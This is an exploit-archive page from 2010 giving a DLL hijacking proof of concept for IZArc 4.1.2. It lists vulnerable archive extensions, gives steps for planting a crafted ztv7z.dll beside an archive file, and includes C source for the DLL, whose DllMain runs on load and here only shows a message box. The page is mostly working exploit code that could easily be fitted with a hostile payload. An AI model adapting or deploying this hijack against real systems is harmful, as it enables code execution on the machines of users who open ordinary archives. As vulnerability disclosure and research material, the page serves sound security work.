IZArc DLL Hijacking (ztv7z.dll) Exploit
Posted on 06 September 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>IZArc DLL Hijacking (ztv7z.dll) Exploit</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>======================================= IZArc DLL Hijacking (ztv7z.dll) Exploit ======================================= /* Exploit Title: IZArc DLL Hijacking Exploit (ztv7z.dll) Date: 01/09/2010 Author: Anastasios Monachos (secuid0) - anastasiosm[at]gmail[dot]com Software Version: IZArc 4.1.2.2012 Vendor Site: http://www.izarc.org/ Vulnerable Extensions: rar, zip, jar (and probably many more) Tested Under: winxp_sp2_gdr.050301-1519 Instructions: 1. Compile the following code 2. Create a file of the affected extensions in the same directory as the dll 3. Execute file.<extension> */ #include <windows.h> int dll_m0nk() { MessageBox(0, "IZArc is vulnerable to DLL Hijacking", "secuid0", MB_OK); return 1; } BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: dll_m0nk(); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-06]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>